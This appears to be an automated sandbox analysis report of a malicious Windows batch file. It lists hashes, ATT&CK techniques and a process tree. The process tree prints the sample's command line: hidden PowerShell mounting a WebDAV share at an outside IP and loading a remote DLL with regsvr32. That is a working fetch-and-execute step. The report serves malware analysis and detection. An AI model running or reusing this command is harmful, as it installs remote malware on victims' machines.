e07befe382d002c978391b53370c531903d060f19ff242bd3e866137dfb7baa9

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 11:30

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General

Target

3236272503115020469.bat
Size

2KB
MD5

69eefdffd0a309465f6de83d47844629
SHA1

60f0a7b50f1b3ca6406ef6e90d8d1acfcaa6ae7f
SHA256

e07befe382d002c978391b53370c531903d060f19ff242bd3e866137dfb7baa9
SHA512

d2690aa3a40c3cf11a70f78b88df20dc4ac6cdb147b5352e7dccb227805a7d3f10f011890fc4c2b6b36179b6b4a4bc91f27fcea14f86285b0224f456f1f10617

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5072	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5072	powershell.exe
5072	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5072	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3676	wordpad.exe
3676	wordpad.exe
3676	wordpad.exe
3676	wordpad.exe
3676	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1552 wrote to memory of 3676	1552	cmd.exe	85
PID 1552 wrote to memory of 3676	1552	cmd.exe	85
PID 1552 wrote to memory of 5072	1552	cmd.exe	87
PID 1552 wrote to memory of 5072	1552	cmd.exe	87
PID 5072 wrote to memory of 5012	5072	powershell.exe	89
PID 5072 wrote to memory of 5012	5072	powershell.exe	89
PID 5072 wrote to memory of 1148	5072	powershell.exe	90
PID 5072 wrote to memory of 1148	5072	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3236272503115020469.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1552
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\210183009525265.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:5012
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\210183009525265.dll
    3⤵
    PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0hwyrefm.wff.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5072-6-0x00000282FC470000-0x00000282FC492000-memory.dmp

Filesize
136KB

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